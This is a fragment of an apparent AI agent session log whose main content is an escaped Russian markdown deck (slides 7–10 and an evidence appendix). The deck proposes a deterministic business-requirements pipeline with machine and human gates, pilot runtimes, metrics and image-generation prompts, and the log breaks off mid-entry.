\u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\\n   \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** \u0434\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439\\n> Release \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432:**\\n\\n| \u042d\u0442\u0430\u043f | \u0421\u0442\u0430\u0442\u0443\u0441 |\\n| --- | --- |\\n| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n| `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\\n| `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\\n| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA clean horizontal production line: raw crumpled requests enter on the\\nleft, pass a sorting station, a library shelf where each item is\\nstamped with a source tag, a golden mould that shapes identical\\ndocuments, a machine scanner gate, a human inspector's desk, and exit\\non the right as four neatly labelled output trays.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 BCREQ](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden),\\n[\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0413-16 \u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c\u0435 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0411\u043b\u043e\u043a 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.**\\n\\n- **\u0421\u0435\u0439\u0447\u0430\u0441:** \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0410\u0420\u041c \u0411\u0410 \u2014 GigaCode CLI \u0438 Cline + Mango AI.\\n  \u041e\u0434\u0438\u043d Source, \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430.\\n- **\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b:** \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b\\n  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n- **\u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430:** \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430.\\n- **\u0412\u0435\u043a\u0442\u043e\u0440:** runner \u043d\u0430 \u0410\u0420\u041c \u043a\u0430\u043a \u043b\u0438\u0434\u0435\u0440, \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0421\u0440\u0435\u0434\u0430 4 \u2014 \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e\\n  \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441: \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0445\u0435\u0448\u0435\u0439, Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API.\\n\\n> **\u041f\u0440\u0438\u043d\u0446\u0438\u043f:** \u0430\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c\\n> (\u00abown your control flow\u00bb).\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0434\u0432\u0435 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u00ab\u0410\u0420\u041c \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u00bb \u0438 \u00ab\u0421\u0440\u0435\u0434\u0430 4\u00bb; \u043e\u0431\u0449\u0438\u0439\\n\u0431\u043b\u043e\u043a \u044f\u0434\u0440\u0430 runner \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nOn the left a single analyst's desk with a laptop and a small engine\\nblock glowing on it; an arrow leads to the right where the very same\\nengine block is installed at the centre of a compact server room,\\nnow connected by clean cables to several desks and a secure vault.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[ADR-017: Source \u2192 Distribution \u2192 Runtime](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[ADR-018: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md),\\n[ADR-019: \u043f\u0438\u043b\u043e\u0442 Cline + Mango AI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\\n  \u043e\u0442\u043a\u0430\u0437\u044b `G-mach`, `M-3` \u043f\u0440\u0430\u0432\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 = 100%.\\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043d\u043e\u0440\u043c\u044b, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n> **\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f:** \u0441\u0440\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u0435\u043d, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435\\n> \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 0.0 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442\\n> \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0432\u043e\u0440\u043e\u043d\u043a\u0430 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u043b\u0438\u043d\u0438\u0438 \u2192 \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2192\\n\u0421\u0410 / \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a M-1\u2026M-4.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeveral different product streams of varied shapes enter a single\\nprecision-machined standard coupling; on the other side they leave as\\nidentical, perfectly fitting connectors that plug directly into three\\nreceiving machines representing analysis, development and a signed\\ncontract.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\\n  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\\n  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\\n  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\\n  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nThree illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\\n---\\n\\n## \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\\n| --- | --- |\\n| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\\n| 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\\n| `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\\n| 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 5 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 | [\u0442\u0435\u043e\u0440\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md) |\\n| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\\n| Release \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c | [\u0413-16](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) |\\n| \u0423 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 n1\u2013n3 | [\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md) |\\n\"\n[2026-09-29T07:49:33.529Z] [INFO]     }\n[2026-09-29T07:49:33.529Z] [INFO]   }\n[2026-09-29T07:49:33.529Z] [INFO] }\n[2026-09-29T07:49:33.568Z] [INFO] {\n[2026-09-29T07:49:33.568Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"message\": {\n[2026-09-29T07:49:33.568Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"content\": [\n[2026-09-29T07:49:33.568Z] [INFO]       {\n[2026-09-29T07:49:33.568Z] [INFO]         \"tool_use_id\": \"toolu_01V7BP9qiNijimiUJdzdmZen\",\n[2026-09-29T07:49:33.568Z] [INFO]         \"type\": 